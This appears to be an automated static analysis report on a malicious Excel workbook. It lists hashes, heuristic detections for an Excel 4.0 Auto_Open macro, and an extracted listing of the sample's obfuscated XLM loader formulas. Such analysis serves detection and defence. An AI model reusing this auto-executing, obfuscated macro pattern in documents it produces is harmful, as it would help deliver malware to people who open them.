Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1110570e600279b1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:04 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 1ffa09c403dd8305dcd7fdbd86febcd1 SHA-1: 561ae50eaef717209222d8949657fbc5d050f54e SHA-256: 1110570e600279b100c9a25698971c7577dc07018b8f110a1e39d90684feadee
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6755 bytes
SHA-256: 86a265aa36fa2f540fc0527d60d32a18a82c90223280b8f31fd1085bad1b1fdb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WHIWijHL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F150 
' 0018     23 LABEL : Cell Value, String Constant - eAKAeLFU len=0 
' 0018     23 LABEL : Cell Value, String Constant - EMCVtTrl len=0 
' 0018     25 LABEL : Cell Value, String Constant - ERIeQrHCEX len=0 
' 0018     24 LABEL : Cell Value, String Constant - FWXkjEopu len=0 
' 0018     27 LABEL : Cell Value, String Constant - hAjywioKkmKL len=0 
' 0018     21 LABEL : Cell Value, String Constant - IBsPHb len=0 
' 0018     23 LABEL : Cell Value, String Constant - ICcLzXdm len=0 
' 0018     22 LABEL : Cell Value, String Constant - IhXvgpG len=0 
' 0018     26 LABEL : Cell Value, String Constant - kbWXZliYmmi len=0 
' 0018     25 LABEL : Cell Value, String Constant - nqqkDWkfLv len=0 
' 0018     25 LABEL : Cell Value, String Constant - ojkmZFOPjl len=0 
' 0018     22 LABEL : Cell Value, String Constant - OpBpCif len=0 
' 0018     25 LABEL : Cell Value, String Constant - pQNpfbQKzp len=0 
' 0018     20 LABEL : Cell Value, String Constant - QINFA len=0 
' 0018     23 LABEL : Cell Value, String Constant - ufLuOhGl len=0 
' 0018     23 LABEL : Cell Value, String Constant - UVkMQLUy len=0 
' 0018     22 LABEL : Cell Value, String Constant - WwMlwvr len=0 
' 0018     21 LABEL : Cell Value, String Constant - wWstEF len=0 
' 0018     22 LABEL : Cell Value, String Constant - xxgypgN len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZhxAFOGSN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WHIWijHL,R48,"",395.00000000000000000000
'  WHIWijHL,R49,"",224.00000000000000000000
'  WHIWijHL,R50,"",-66.00000000000000000000
'  WHIWijHL,R51,"",254.00000000000000000000
'  WHIWijHL,R52,"",-877.00000000000000000000
'  WHIWijHL,R53,"",-919.00000000000000000000
'  WHIWijHL,F55,"SET.NAME("ojkmZFOPjl",0+VALUE("0"))",""
'  WHIWijHL,F60,"SET.NAME("hAjywioKkmKL",ojkmZFOPjl)",""
'  WHIWijHL,F62,"SET.NAME("UVkMQLUy",ojkmZFOPjl)",""
'  WHIWijHL,F67,"SET.NAME("EMCVtTrl",COUNTA(kbWXZliYmmi))",""
'  WHIWijHL,F70,"SET.NAME("wWstEF",COUNTA(FWXkjEopu))",""
'  WHIWijHL,F75,[],""
'  WHIWijHL,F77,"SET.NAME("pQNpfbQKzp","")",""
'  WHIWijHL,F80,"hAjywioKkmKL",""
'  WHIWijHL,F85,"SET.NAME("IBsPHb",HLOOKUP("*",kbWXZliYmmi,hAjywioKkmKL,FALSE))",""
'  WHIWijHL,F88,"OpBpCif",""
'  WHIWijHL,F93,"SET.NAME("ICcLzXdm",ojkmZFOPjl)",""
'  WHIWijHL,F97,[],""
'  WHIWijHL,F101,"ICcLzXdm",""
'  WHIWijHL,F104,"ERIeQrHCEX",""
'  WHIWijHL,F106,"eAKAeLFU",""
'  WHIWijHL,F108,"ufLuOhGl",""
'  WHIWijHL,F113,"SET.NAME("xxgypgN",VALUE(HLOOKUP("*",FWXkjEopu,ufLuOhGl,FALSE)))",""
'  WHIWijHL,F116,"QINFA",""
'  WHIWijHL,F120,"pQNpfbQKzp",""
'  WHIWijHL,F125,"UVkMQLUy",""
'  WHIWijHL,F129,NEXT(),""
'  WHIWijHL,F131,"WwMlwvr",""
'  WHIWijHL,F136,[],""
'  WHIWijHL,F138,"ZhxAFOGSN",""
'  WHIWijHL,F141,NEXT(),""
'  WHIWijHL,F145,RETURN(),""
'  WHIWijHL,F176,"SET.NAME("IhXvgpG",F55)",""
'  WHIWijHL,F181,"kbWXZliYmmi",""
'  WHIWijHL,F186,"SET.NAME("FWXkjEopu",R63C11)",""
'  WHIWijHL,F190,"SET.NAME("ZhxAFOGSN",195)",""
'  WHIWijHL,F192,"SET.NAME("nqqkDWkfLv",6)",""
'  WHIWijHL,F194,IhXvgpG(),""
'  WHIWijHL,F195,HALT(),""

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